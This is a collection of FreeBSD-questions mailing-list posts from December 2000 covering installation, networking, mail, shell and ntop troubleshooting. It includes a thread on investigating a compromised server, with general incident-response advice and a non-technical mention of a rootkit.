> 
> 
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Olli Jarvinen <oltaja00@otol.fi> types:
> In the newbies page it says, "look for the latest mainsteam release",
> referring to 3.4R. Why not a newer one? Or is this piece of
> information out of date? I've been considering 4.1.1 or 4.2.

It's out of date. The latest mainstream release is 4.2.

> According to the Release usage per day page, 4.1R and 4.0R are
> more popular than 4.2R. Even as early version as 3.2R has
> a considerable amount of downloads. Why aren't people just
> downloading the newest version? What's the catch here?

I don't think I've ever downloaded a release. I've installed off the
FTP server, but these days I track from sources. I think the real
reason is that those who want the latest don't bother downloading a
release; the track the sources (it's pretty painless). So you don't
get a swarm of people downloading a new release to update when it's
released, so the new releases have to overtake the old ones based on
new users.

> About the files at the ftp sites... are the RELEASEs being bugfixed,
> or only the STABLEs?

Yes, RELEASEs are bugfixed. The bugfixed versions are called STABLE. a
RELEASE version is a snapshot of STABLE that has been frozen and
tested more thoroughly than STABLE is usually tested; after a release,
bug fixes to the release show up on STABLE.

	<mike
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|O|> let me ask a stupid question, i'm curious. you have same box since than
|O|> w/o rebuilding FreeBSD on the box  or it's just a history that
|O|> you cp to new install?

 There was somebody running BitchX or teardrop. They did not hide the
directory very well (it was in /tmp/something) and was actually telnetting
to the box as user amanda. Changed passwords, removed files, shut off some
stuff in inetd.conf, verified the integrity of system binaries, problem went
away.

-Gerry



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Mike Meyer wrote:

> Victor R. Cardona <vcardona@home.com> types:
> 
>> Christian Flügel wrote:
>> 
>>> From: "Chris Dillon" <cdillon@wolves.k12.mo.us>
>>> 
>>>> RPM isn't used because the RPM system sucks.  FreeBSD has a superior
>>>> packaging and ports system, and it uses it.
>>> 
>>> I have always wondered why FreeBSD claims that the Ports System is superior
>>> to the RPM packaging system used in most of the Linux flavors. Basically,
>>> from my point of view, both should provide similar features with regards to
>>> Dependancy checking etc. .
>>> Could anyone point out what makes the Ports collection better than Linux RPM
>> 
>> I actually like both systems, and they both have their advantages. Ports 
>> are better at handling dependencies. They will go out and get anything 
>> that is required. RPM will only tell you that a file is missing, but it 
>> will not tell you where that file can be obtained.
>> 
>> I find upgrading RPMs to be a little easier then ports, but that may 
>> just be personal bias because I have used them longer.
> 
> 
> No, it's not a bias - it's real. RPMs have a mechanism for upgrading
> an installed package; packages don't.
> 
> For me, the real advantage of the ports/package system is the *ports*
> part of it. That it's not noticably harder to build a port from
> sources - only set to install where I want it - than to install a
> package is a major benefit that RPMs don't have. I'm sure that
> everyone who builds RPMs has ported the software to Linux, but there
> isn't a standardized way to package that, or a repository of them you
> can access (at least, not that I'm aware of).

Well, there is rpmfind which servers as a locator service for rpms. 
Unfortunately, you are correct. There are differences between the rpm 
using Linux distributions that cause some rpm installations to fail 
(i.e. SuSE rpms may not work with Red Hat). All in all, RPM does have 
some nice features though.

Victor Cardona
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From owner-freebsd-questions  Mon Dec 18 13:59:41 2000
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1.) the date listed on your post is wrong.

2.) i believe that maildrop is no longer actively maintained in the ports 
collection.  there is a problem with the one included.  but, as you found 
out, the source readily builds on freebsd.  stick with the original 
sourcecode and you'll be happy.

---Matt




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| p.s. does anyone use "zsh" ...?

actually i have a few friends who use it alot (of course they all use linux
too), what i want to know is if anyone has actually used the perlsh.

-daniel



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From owner-freebsd-questions  Mon Dec 18 14: 8:39 2000
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FreeBSD won't run on a Mac, but depending on your processor you may be 
able to run one of the following:

http://www.darwin.org
http://www.openbsd.org
http://www.netbsd.org

---Matt



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Greetings,
*Note - as i'm not currently subscribed to the mailing list (due to the =
delay of confirming e-mail from the mailing list) i'd appreciate it if =
any responses were e-mailed to me personally, although i could just as =
well hunt them down in the mailing list archive.=20
   Durring the Installation of FreeBSD 4.2, i encounter several errors =
whining about missing files - infact, *none* of the files were actually =
recognised. In otherwords, the errors which occur are described as "bin =
packages could not be retreived from (Fat32 primary partition)" ...or =
something similar . The conclusion to which i've come is that the =
installation is simply not recognising or unable to read from/write to =
the C:\FREEBSD\ directory under my MsDos partition. This is the source =
directory which i'm using for the installation, (installing from a DOS =
partition *duh*). I've run into a *similar* problem when attempting to =
install Slackware Linux (but gave up) earlier. I doubt that the boot =
kernel failed to detect my harddrive, as i was able to proceed through =
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i could=20
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<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; Durring the Installation =
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infact,=20
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not be=20
retreived from&nbsp;(Fat32 primary partition)" ...or something similar . =
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1)    Watch out for the html posts.  People dont like it around here.

2)     I just upgraded to a digital kvm because of the problems I had with
the mechanical one.  When I switch out of
        box and return to it, the mouse is no longer in my control, moving
where it not supposed to, and other garbage.
        So, Im planning to go through the archives and see what I could come
up with to solve this.

If anyone have any clues as to what to read or to do, please tell.
Thanks


Chris Shenton wrote:

> I'm trying to run kbd, mouse, video through a switchbox --
> unfortunately a lowly mechanical switchbox instead of a digital one
> like a Belkin.
>
> When I switch between FreeBSD-4.2-STABLE/RELEASE the mouse becomes
> inoperative.  The "moused" man page indicates that you can get it back
> by sending it a HUP, and this works -- assuming your dead mouse is in
> a window you can type in :-(
>
> This switch-box behavior is the same as just unplug and reconnect the
> PS2 mouse.
>
> Is it possible to have FreeBSD automatically recognize a newly
> (re)conencted mouse? Never had this problem with old serial mice. It's
> almost as bad as unplugging the keyboard or serial console from a Sun :-(
>
> I'd prefer not to spend big bucks on a digital KVM, but if I do, would
> it solve this problem? A search of Questions/Hackers indicates there
> are some current problems with digital KVMs and FreeBSD that do not
> occur with other inferior OSes...
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G'day --

I suspect, based on my transfer rates, that my 3c905 is running in
10Mb mode instead of 100Mb, but don't know how to be certain or how to
change that.  Where might I look for information on this issue?
System is 4.2-RELEASE.

Thank you -d

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i can't get "amd" to automatically unmount filesystems.  the man page says 
that the default for "-c" is 5 minutes, meaning that after 5 minutes of 
not being used a filesystem will be unmounted.  

any ideas?  i've appended some information below.

---Matt


running amd as:
-----------------
amd -p -a /.amd_mnt -l syslog /host /etc/amd.map /net /etc/amd.map


/etc/amd.maps:
---------------
/defaults       type:=host;fs:=${autodir}/${rhost}/host;rhost:=${key}
*     opts:=rw,grpid,resvport,vers=2,proto=udp,nosuid,nodev,soft,intr



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On Mon, 18 Dec 2000, Raymond Hicks wrote:

> it is a beter practice to make a full copy and examine that then mess with
> the original box to keep system integrity..
> 
> you may still have the opportunity to catch someone in the act if you do not
> shut the box down..  also there is a chance that halting the system might
> remove or change some inforation depending on the rootkit installed..  for
> example..  the root kit i use most often replaces shutdown procedure and
> rebbot proc to remove log files,  alter process states,  and hide all
> relevent messagees from all users..  reboot does similar ..  this is the

	Yes, well I had never thought of that.  That would be a very
powerful and scary root kit.  But if your box is compromised that badly
then you've got worse problems.  By the same logic though, how would you
make a full copy?  Those tools could be replaced too, and do you do it on
a live system, that would access the drive a lot and you may lose stuff.
If you're worried about a rootkit as bad as yours it would seem to be
better to yank the power plug and risk the damage that that would cause.
	Now trying to catch someone in the act is the complete other path
to security and has it's benefits.  It's more altruistic in that you may
help catch them.  I guess I would try both.  Try removing one machine and
avoiding all writes to its disks and keep another box up to let them keep
working, to hopefully catch them later.  Or once you've taken the disk
out, mount it ro and copy it entirely and put it back up.  Then you would
have static data to analyze and dynamic.

> reason for my response..  did not mean to offend anyone or step on any toes.

	Absolutely no offense taken here.  I was just going on what I'd
read.  It could be wrong and the info you provided was good.  I
always try to pass on as correct info as I can, and was worried I
was way off base.  Thanks for the enlightenment.  Is that a readily
available root kit or did you write it yourself?  I guess I can't imagine
benign uses for rootkits except learning how to protect oneself from them.
	Maybe you should post what you wrote above so that everyone will
have that info.  I didn't want to cc my reply to the list without your
permission, I find that rude.
	Thanks,

						Tim


Raymond also followed that up with:

sure pass it on.. and the root kit is developed by some guy in brasil ...
where most dangersous ones seem to come from... I had considered posting
it however due to process of aquisition (box at work got rooted) .. UUnet
prohibits me from passing on this type of software..  I am writing total
definition of rootkit described and samples of code to be used if anyone
actually wants the code... it will be posted at my website..
http://bsdvault.net

lates
raymond hicks



> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
> [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Tim McMillen
> Sent: Monday, December 18, 2000 4:26 PM
> To: Raymond Hicks
> Cc: 'Jonathan Fosburgh'; 'Gerald T. Freymann'; 'Questions'
> Subject: RE: Hacker history file - OUCH
> 
> 
> 
> 
> On Mon, 18 Dec 2000, Raymond Hicks wrote:
> 
> > This is not good information..  the best thing to do is NOT to shut down
> the
> > machine.. you may lose vital info if you have in fact been rooted..   you
> 
> 	Care to explain that?  How would you lose information by halting
> the machine?  Halting it freezes the information in place and gives you
> chance to do the postmortem analysis with a cleaner slate.  Allowing it to
> run (especially multi user) allows lots of disk writes and a chance to
> wipe out the information you may need.  Everything I've read says you want
> to preserve the evidence as well as possible by halting and preventing
> further disk writing.
> 
> > should however remove your machine from the network...  and plug it in to
> > another blank ethernet hub so as not to fill your logs with interface down
> > error messages..
> >
> > To postmortem a box is a complex process because you can not be sure that
> > you have not had any command replacements and rootkits applied to your
> > box...  try to check the integrity of your commands and last change date..
> 
> 	Which seems to me to be another reason to halt the box and mount
> the disk on another machine ro for analysis. Then you know you are using
> good tools.  But apparently I am missing something, and would be
> interested in more details.
> 
> 
> 					Tim
> 
> 
> 
> 
> > as well as your $path.  If needed replace the commands on your box to be
> > sure that everything is in fact working correctly..  try getting lsof or
> > similar proggy like fstat to check files and processes...  you will want
> to
> > see if there are any other back doors on your machine...  comb your logs
> and
> > see what you can find there..  hope this gets you started...
> >
> > lates
> > http://bsdvault.net
> >
> > -----Original Message-----
> > From: owner-freebsd-questions@FreeBSD.ORG
> > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Jonathan
> > Fosburgh
> > Sent: Monday, December 18, 2000 4:00 PM
> > To: Tim McMillen
> > Cc: Gerald T. Freymann; Questions
> > Subject: Re: Hacker history file - OUCH
> >
> >
> >
> >
> > Tim McMillen wrote:
> >
> > >
> > > 	Do you know for sure it was an intruder?  Or was it just one of
> > > your users?  either way that doesn't look good.  I'm no security expert,
> > > but the programs they compiled and ran could easily be backdoors to get
> in
> > > easily the next time.  It's hard (for me) to tell how bad it is without
> > > knowing whether they were successful in getting root priveledges.  In
> the
> > > history file we don't see the output of the command.  Nothing he did
> > > afterwards seems to require root priveledges, but if he had them then
> > > those programs could easily be backdoors. I would consider the box
> > > compromised.  Is it still in use?  The best way to get the most
> > > information about an attack is to shutdown and halt the machine ASAP.
> > > Then mount everything read only (perhaps on another machine.  Then look
> > > araound.  That way you won't overwrite possible clues.  Any disk access
> > > after the intruder is there can overwrite that, and that is bad for
> > > evidence.
> > > 	You may want to contact the administrators at the sites he ftp'd
> > > to to alert them and see if they can tell what those files were that he
> > > downloaded.
> > >
> > > 						Tim
> >
> > The results of the su ought to be in /var/log/messages.  Especially the
> > one to toor.  You should either see a success or failure message.  Of
> > course, he can only su to toor if the user he was in as is in group wheel.
> >
> > --
> > Jonathan Fosburgh
> > Open Systems
> > Communications and Computer Services
> > UT MD Anderson Cancer Center
> > Houston, TX
> >
> >
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In the last episode (Dec 18), Matt Harrington said:
> i can't get "amd" to automatically unmount filesystems.  the man page
> says that the default for "-c" is 5 minutes, meaning that after 5
> minutes of not being used a filesystem will be unmounted.

Are you sure the filesystem is unused?  Run "fstat
/.amd_mnt/server/mountpoint" and see if any processes are still using
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> Well, there is rpmfind which servers as a locator service for rpms. 
> Unfortunately, you are correct. There are differences between the rpm 
> using Linux distributions that cause some rpm installations to fail 
> (i.e. SuSE rpms may not work with Red Hat). All in all, RPM does have 
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Never used rpmfind but I must say that ports is a much easier thing to use.
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Hello,

  Running ifconfig xl0 will list the status of media type.  To change
types, simply:

  ifconfig xl0 media "100baseTX"

Out of curiosity, how slow are your transfer rates?  I'm having issues
with 4.2 (although it could be the other hardware) where incoming data
transfers are ~30kB/s and outgoing are ~900kB/s with a 3c905a at
10baseT/UTP.  With a tulip based card, incoming is ~200kB/s and outgoing
is the same.  The box is a dual Pentium 166 Acer Altos.  In any other
system, the NIC's run at full speed for both transfers.  I've tried the
transfers between FreeBSD and FreeBSD, FreeBSD and Linux, and FreeBSD and
Irix.  I'm fairly confident it's the Altos' that is at fault, but I was
wondering if anyone else had a suggestion.

Regards,
Adrian


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>
> G'day --
>
> I suspect, based on my transfer rates, that my 3c905 is running in
> 10Mb mode instead of 100Mb, but don't know how to be certain or how to
> change that.  Where might I look for information on this issue?
> System is 4.2-RELEASE.
>
> Thank you -d
>
> --
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Whoops!  Guess I neglected to mention a few things!

What is working is TCP/IP from the Windows Box to the Mac Machine and
vice-versa.  What is not working is TCP/IP from the FreeBSD box "beyond" (to
the Windows or Mac box) or TCP/IP from either of these to the FreeBSD box.

I can ping from Windows to Mac and Mac to Windows but I cannot ping from
either of these to the FreeBSD box or from the FreeBSD box "beyond" (to the
Windows or Mac box) using hostname or IP address.

When I use tcpdump i get: tcpdump:  /dev/bpf0 : Device not configured.

How do I configure this?  I haven't found that reference in the manual.

I have verified the function of the card in the BSD box by exchanging it
(and the cable) with a working card from my Windows box.  After the exchange
my windows box is still able to ping various addresses but the BSD box still
is not able.

I'm not sure what is meant by "CAT5".  I am using an SMC 4-port dual-speed
hub, if that is relevent.

Thanks for your help, so far.  I now have a new term to research: tcpdump
... Oh .. .and bpf0!

Lane
----- Original Message -----
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> On Sun, Dec 17, 2000 at 11:59:03PM -0600, lanehol@bellsouth.net wrote:
> > I have an existing Mac/Windows network and I want to add my FreeBSD box
to
> > the party ... but something doesn't seem to work.
>
> And that something would be... You never really told us what is not
> working. Can you ping the other machines? By hostname? By IP address?
> If you do a tcpdump on rl0 and try to make some traffic, do you see
> anything?
>
> > I have assigned the FreeBSD box the ip address of 192.168.0.4 and I can
ping
> > that address from FreeBSD as well as it's standard localhost address.
>
> That tells us your routing table is probably OK, but does not tell us
> anything about the actual performance of the NIC.
>
> > However I cannot see beyond the box or from Windows or Mac to the
> > box.
>
> "See beyond?"
>
> >  The
> > card and cable check out fine;
>
> How did you check them out? What is your physical setup? Some CAT5 and
> a hub?
>
> > /etc/rc.conf has my host name
> > "lane.unix.home"; and /etc/hosts has an entry for each of the three
boxes
> > ...
> >
> > On bootup the Real Tech ethernet card is identified and ifconfig -a
reports
> > the correct ip, subnetmask and status ...
>
> Looking good/
>
> > I'm not real familiar with unix so I'm not sure where to go next ... I
did
> > notice that there is no device named /dev/rl0* ... could this be an
issue?
>
> No. That is normal.
>
> > P.S.  I'm still trying to figure out how to subscribe to this list, so
if
> > you could point me in the right direction there, too, I'd appreciate it.
>
> Well, this,
>
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
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>
> Might be a pretty good hint. If you still need help,
>
>   http://www.freebsd.org/handbook/eresources.html#ERESOURCES-MAIL
>
> --
> Crist J. Clark                           cjclark@alum.mit.edu
>



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----- Original Message -----
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To: "Christian Flügel" <Jeff.Kelly@t-online.de>
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> On Sun, Dec 17, 2000 at 11:46:52PM +0100, Christian Flügel wrote:
> > Hello Folks,
> >
> > I am using FreeBSD 4.2 o´n my Desktop which only has a modem connection
to
> > my local ISP for Internet Access. I am right now looking for a
replacement
> > for sendmail. I have three mail accounts with different providers which
are
> > accessed using the POP3 protocol, so there is really no need to use
> > something as complex as sendmail.
>
> And since sendmail does not know anything about POP3...

Ok ok. One should never write to questions at 1 am .
Of course I need a tool for sending mail also. It would be rather pointless
just to receive mail. So what I wanted to ask was this, is there a simple
setup for sending mail via smtp.
I'd rather take the daemon approach because it is more flexible than just a
MUA. But I don't want to get grey hairs configuring sendmail, when there
might be a simpler solution.

Regards


Christian



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}-----Original Message-----
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type "/sbin/ifconfig -a" and look at the line that starts:
media: <your answer should be here>

example:
kashmir% /sbin/ifconfig -a
dc0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet 192.168.1.10 netmask 0xffffff00 broadcast 192.168.1.255
        ether 00:a0:cc:65:da:4e
------> media: autoselect (100baseTX <full-duplex>) status: active
        supported media: autoselect 100baseTX <full-duplex> 100baseTX
10baseT/UTP <full-duplex> 10baseT/UTP none

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I am thinking of deploying qmail to take advantage of the Maildir format
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On Mon, Dec 18, 2000 at 05:46:06PM -0600, lanehol@bellsouth.net wrote:
> Whoops!  Guess I neglected to mention a few things!
> 
> What is working is TCP/IP from the Windows Box to the Mac Machine and
> vice-versa.  What is not working is TCP/IP from the FreeBSD box "beyond" (to
> the Windows or Mac box) or TCP/IP from either of these to the FreeBSD box.
> 
> I can ping from Windows to Mac and Mac to Windows but I cannot ping from
> either of these to the FreeBSD box or from the FreeBSD box "beyond" (to the
> Windows or Mac box) using hostname or IP address.
> 
> When I use tcpdump i get: tcpdump:  /dev/bpf0 : Device not configured.
> 
> How do I configure this?  I haven't found that reference in the manual.
> 
> I have verified the function of the card in the BSD box by exchanging it
> (and the cable) with a working card from my Windows box.  After the exchange
> my windows box is still able to ping various addresses but the BSD box still
> is not able.

You need to provide the list with the output of

	ifconfig -a
	netstat -rn
	netstat -in

and possibly the IP settings you want to have, and your current
network setup.
-- 
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On Mon, Dec 18, 2000 at 05:46:06PM -0600, lanehol@bellsouth.net wrote:
> Whoops!  Guess I neglected to mention a few things!
> 
> What is working is TCP/IP from the Windows Box to the Mac Machine and
> vice-versa.  What is not working is TCP/IP from the FreeBSD box "beyond" (to
> the Windows or Mac box) or TCP/IP from either of these to the FreeBSD box.
> 
> I can ping from Windows to Mac and Mac to Windows but I cannot ping from
> either of these to the FreeBSD box or from the FreeBSD box "beyond" (to the
> Windows or Mac box) using hostname or IP address.

OK, sounds like the physical network is fine.

> When I use tcpdump i get: tcpdump:  /dev/bpf0 : Device not configured.
>
> How do I configure this?  I haven't found that reference in the manual.

Huh. I thought that BPF was enabled by default in 3.1. Don't try to
use DHCP. If you want to enable it, you need to build a custom
kernel. Find that section in the handbook and follow the
directions. To enable it in the config file, uncomment the line with
'bpf' in it.
 
> I have verified the function of the card in the BSD box by exchanging it
> (and the cable) with a working card from my Windows box.  After the exchange
> my windows box is still able to ping various addresses but the BSD box still
> is not able.

More confirmation this is not a physical problem.

> I'm not sure what is meant by "CAT5".

Category 5 cable. Four twisted pairs of copper with RJ-45 connectors
on the ends. It is probably what you have.

> I am using an SMC 4-port dual-speed
> hub, if that is relevent.

Not if everything looks to be working.

What is the precise output of 'ifconfig rl0'?
-- 
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During an attempted upgrade, I did not have enough disk space on / and the
upgrade failed.

I have tried to boot into single user mode using the old kernel:
load kernel.prev
boot -s

but I cannot seem to mount the / in write mode. If I try: mount -u / I get
the following error:

mount: Block device required

I know that 4.0 no longer uses block devices. So, how do I mount / after
this failed install so I can make the required adjustments.

Thanks,
Paul

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Thanks for the response!

I actually figured out it was on my end, so I just
wanted to attach a "resolved" message to this for
the archives.. 

The client was a Mac, so it was just difficult to
tell what is going on.. but CVS pserver on FreeBSD
through an SSH tunnel to a NAT'd Mac running CodeWarrior
does indeed work just fine, once the Mac is configured
properly.


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Hi Rob --

Let me first qualify this by saying that I haven't tried NAT on
FreeBSD, so my advance abject apologies if there's something
particular about FreeBSD's implementation which renders my response
here irrelevant.  However, in principle, tunneling through NAT works
ok. I use the SSH Communications server and client, and can do this
from a Linux workstation through a Linux NAT gateway.  I run this
command on the workstation:

ssh -L 2300:remotehost:23 remotehost

and log in as usual.  Then on the workstation, do:

telnet localhost 2300

And I connect to remotehost via the tunnel.  This works with any
service I choose.  I don't know anything about the internals of CVS,
so perhaps if it uses a two-way connection (like ftp), this might not
work.

I hope this is of some use to you.

- -d

- -- 
David Talkington
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Rob wrote:

>Hi,
>
>
>I'm trying to do an SSH tunnel through a FreeBSD server 
>running natd to a CVS server listening to a pserver on
>it's local interface.
>
>I have managed to get this working from a routeable IP,
>but when I attempt to set up a tunnel from a non-routeable
>that is being NAT'd, the non-routeable machine opens the
>port ( 2401 ) but it doesn't seem to make it to the other
>side ( the CVS server outside the NAT firewall ).
>
>Is there a special consideration for SSH tunnels through
>NAT that I am not understanding? Is it actually possible? :)
>
>Thanks, and please reply to me directly as I am subscribed
>to the list from this account.
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>Rob Helmer
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On Tue, 19 Dec 2000, David Xu wrote:

> I mean learn cycle, if I learn csh scripts too long, then I may be
> confused by scripts in FreeBSD system, for example /etc/rc.* scripts,
> you wrote all scripts in sh shell style, but I am now familiar with
> csh, they are different, incompatible, and feel uncomfortable.

You have been presented with the solution: install the shell of your
choice. I suggest you evolve a brain, follow the advice and stop
complaining about what is essentially a non-issue.

> does csh support function definition in scripts?

Yes.

> support it. Linux user are now using bash, I know Linux users >
> FreeBSD users, it's the truth, no matter you believe it or not

Linux users > FreeBSD users in number. Do Linux users typically create so
much fuss over something so simple as editing a file to suit your
preferences? If so, I suggest you return to an operating system that
requires no thought or effort to use, since it would appear to suit
you better.

G

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            train, comin' your way."

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* David Xu <davidx@viasoft.com.cn> [001218 17:27] wrote:
> I mean learn cycle,  if I learn csh scripts too long, then I may be confused by scripts in FreeBSD system, 
> for example /etc/rc.* scripts, you wrote all scripts in sh shell style,  but I am now familiar with csh,  they are different, 
> incompatible,  and feel uncomfortable.
> ps:  does csh support function definition in scripts?  I know sh and bash support it. Linux user are now using
> bash,  I know Linux users > FreeBSD users, it's the truth, no matter you believe it or not,  if you guy want more Linux user
> switch to FreeBSD,  you should clean the problem, remove the stumbling block,  better technology is not everything.

Please wrap lines at 70 characters.

I'm not really sure I want to continue this discussion now that
you've made it clear that correctness is not your goal.

I also don't understand what's forcing you to use csh, you can
simply log in, then exec another shell.

Programming with csh _is_ discouraged, but tcsh/csh is a lot more
userfriendly for interactive use.

Bash can NOT be the main shell as the license it's distributed
under prohibits its inclusion in the FreeBSD base system as a
critical subsystem because the license is GPL.

Since you don't have to use csh, and nothing is stopping you from
installing bash, can we end this pointless discussion now?

-- 
-Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org]
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On Tue, Dec 19, 2000 at 09:23:24AM +0800, David Xu wrote:
> I mean learn cycle,  if I learn csh scripts too long, then I may be confused by scripts in FreeBSD system, 
> for example /etc/rc.* scripts, you wrote all scripts in sh shell style,  but I am now familiar with csh,  they are different, 
> incompatible,  and feel uncomfortable.

If you don't feel like using csh, then don't use it. There aren't any
csh scripts on the system, so I don't see what your problem is. Wars
about shell-preferences don't belong in freebsd-questions. Your
preference isn't everyone else's preference, so let it go.
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Paul Wolstenholme wrote:
> 
> During an attempted upgrade, I did not have enough disk space on / and the
> upgrade failed.
> 
> I have tried to boot into single user mode using the old kernel:
> load kernel.prev
> boot -s
> 
> but I cannot seem to mount the / in write mode. If I try: mount -u / I get
> the following error:
> 
> mount: Block device required
> 
> I know that 4.0 no longer uses block devices. So, how do I mount / after
> this failed install so I can make the required adjustments.

Depending on where your / slice is, you can try something like

mount /dev/ad0s1a /

It depends on how far in to /usr/src/UPDATING you followed when you
did the upgrade. It is also available on
http://www.freebsd.org/cgi/cvsweb.cgi/src/. You have to choose the one
for RELENG_4 branch,  if you don't have a copy that you can look at
right now.

Kent

> 
> Thanks,
> Paul
> 
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realtek 8029 chipset should be found as an ed device. make sure you
have that support compiled in your kernel.
-Otter


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}Hi all!!
}I just installed FreeBSD(98) on my NEC PC9821 last week and I
}want to use it for NAT. On board there is an Intel based (fxp) NIC
}and it is working fine. Now I want to install the second NIC
}(Bufallo
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Ok, here is another question for you BSD users.  

I am setting up Freebsd on a desktop computer.  I have it all installed and finally got my NE2000 compatible NIC card installed and configured.  Now when I boot or shut down the system it says "device ed0 timed out" .  Also, I cannot get it to connect to the internet for anything.

I have configured the information for the network with 
/stand/sysinstall  Is there anything else I need to do or is it something wrong with my card.  Thank you in advance for everyone that responds to this.

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Have you tried pinging some known IP ??

I'm guessing the card isn't configured for the correct cable

A problem with those generic NE2000 things is that its usually
impossible to locate the software tool needed to point them at
the correct one, and since Mr Murphy (or his brother) probably
lives at your place its certain that your NIC is looking for a
RJ45 cable when its only got a BNC connected to it

Suggestion ..... get a NIC that you can get a config tool cum
diagnostic utility for ......
like SMC 8013 / 3-com 507 / 3-com 509


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> Ok, here is another question for you BSD users.
>
> I am setting up Freebsd on a desktop computer.  I have it all installed
and finally got my NE2000 compatible NIC card installed and configured.  Now
when I boot or shut down the system it says "device ed0 timed out" .  Also,
I cannot get it to connect to the internet for anything.
>
> I have configured the information for the network with
> /stand/sysinstall  Is there anything else I need to do or is it something
wrong with my card.  Thank you in advance for everyone that responds to
this.
>
> Josh Richesin
>
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On Mon, 18 Dec 2000, Gerald T. Freymann wrote:

> |O|> Do you know for sure it was an intruder?
> 
>  Had to be. All of this was done under the name of our backup software
> (amanda)
> 
> |O|> The results of the su ought to be in /var/log/messages.
> |O|> Especially the one to toor.  You should either see a success or failure
> message.
> 
>  Duh! Forgot about that. It only logs successful su's and there are none
> from anybody but staff since Nov 30th.
> 

Ah, but this guy (or gal) was root! root can change the /var/log/messages
file, so don't believe anything you see on a machine that has been
compromised that way.

One could always do a new installation of the basic binaries
on an old 486 or whatever and then NFS mount / and /usr and
compare them against your bin, sbin, etc. Use the tools on the
new machine, of course to do the compare!

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Thanks again for your attention.

ifconfig -a yields:
    rl0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST>mtu 1500
    inet 192.168.0.4 netmask 0xffffff00 broadcast 192.168.0.255
    ether 00:c0:df:26:12:06
    media: autoselect (100baseTX <half-duplex>)
    supported media: autoselect 100baseTX <full-duplex> 100baseTX
<half-duplex> 100baseTX 10baseT/UTP <full-duplex> 10baseT/UTP 10baseT/UTP
<half-duplex>
    lp0: flags=8810 <POINTOPOINT,SIMPLEX,MULTICAST> mtu 1500
    sl0: flags=c010 <POINTOPOINT,LINK2,MULTICAST> mtu 552
    ppp0: flags=8010 <POINTOPOINT,MULTICAST> mtu 1500
    lo0: flags=8049 <UP,LOOPBACK,RUNNING,MULTICAST>mtu 16384
        inet 127.0.0.1 netmask 0xff000000

netstat -m yields:
    1/32 mbufs in use:
        1 mbufs allocated to data
    0/2/1024 mbuf clusters in use (current /peak/max)
    8 Kbytes allocated to network (1% in use)
    0 requests for memory denied
    0 requests for memory delayed
    0 calls to protocol drain routines

netstat -im yields:
   name    mtu    network    address                Ipkts    Ierrs    Opkts
Oerrs    Coll
rl0        1500    <Link>    00.c0.df.26.12.06    247    0            1
0           0
rl0        1500    192.168    192.168.0.4           247    0            1
0           0
lp0*     1500     <Link>                                        0   0
0            0           0
tun0*   1500     <Link>                                        0    0
0            0          0
slo*       552     <Link>                                        0    0
0            0            0
ppp*    1500    <Link>                                        0     0
0             0           0
lo0     16384    <Link>                                        0     0
0             0           0
lo0    16384     127            127.0.0.1                  0     0
0             0           0

I currently have a windows box at 192.168.0.1 masquerading and a Mac at
192.168.0.2.  I want the unix box at 192.168.0.4 (because .0.3 is sometimes
used by a Mac/Notebook).


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> On Mon, Dec 18, 2000 at 05:46:06PM -0600, lanehol@bellsouth.net wrote:
> > Whoops!  Guess I neglected to mention a few things!
> >
> > What is working is TCP/IP from the Windows Box to the Mac Machine and
> > vice-versa.  What is not working is TCP/IP from the FreeBSD box "beyond"
(to
> > the Windows or Mac box) or TCP/IP from either of these to the FreeBSD
box.
> >
> > I can ping from Windows to Mac and Mac to Windows but I cannot ping from
> > either of these to the FreeBSD box or from the FreeBSD box "beyond" (to
the
> > Windows or Mac box) using hostname or IP address.
> >
> > When I use tcpdump i get: tcpdump:  /dev/bpf0 : Device not configured.
> >
> > How do I configure this?  I haven't found that reference in the manual.
> >
> > I have verified the function of the card in the BSD box by exchanging it
> > (and the cable) with a working card from my Windows box.  After the
exchange
> > my windows box is still able to ping various addresses but the BSD box
still
> > is not able.
>
> You need to provide the list with the output of
>
> ifconfig -a
> netstat -rn
> netstat -in
>
> and possibly the IP settings you want to have, and your current
> network setup.
> --
> Jonathan Chen <jonathan.chen@itouch.co.nz>
> ------------------------------------------------------------------------
> "We laugh in the face of danger, we drop icecubes down the vest of fear"
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I'm (still !!!!) messing about with ntop configuration ..... now its the =

latest snapshot in a 4.1 RELEASE system. I've compiled gdbm /=20
compiled ntop ..... noticed it found SSL and incorporated that, so=20
at least this here beast isn't wide open to all the merryhackers

When I run /usr/local/bin/ntop, it returns=20

'/usr/local/var/ntop/dnsCache.db' open failed

OK so I figure I'll fix this sucker by creating a blank dnsCache.db =
using makemap hash
on a blank dnsCache ..... that returns

'/usr/local/var/ntop/dnsCache.db' open failed: Bad magic number
'Possible solution: please use '-P <directory>'

Well that didn't work ..... so lets make a blank /tmp/ntop directory& =
make it world read / write ...... that returns=20

'/usr/local/var/ntop/dnsCache.db' open failed

OK so lets see now ..... looks to me like ntop can actually SEE the =
blank db but it doesn't like what it sees so it spits the dummy

So where to from here ?? ........ anyone have suggestions ??

FWIW, at end of gdbm compile there was a message I didn't understand =
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<DIV><FONT face=3DArial size=3D2>compiled ntop ..... noticed it found =
SSL and=20
incorporated that, so </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>at least </FONT><FONT face=3DArial =
size=3D2>this here=20
beast isn't wide open to all the merryhackers</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>When I run /usr/local/bin/ntop, it =
returns=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>'/usr/local/var/ntop/dnsCache.db' open=20
failed</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>OK so I figure I'll fix this sucker by =
creating a=20
blank dnsCache.db using makemap hash</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>on a blank dnsCache ..... that =
returns</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>'/usr/local/var/ntop/dnsCache.db' open =
failed: Bad=20
magic number</FONT></DIV>
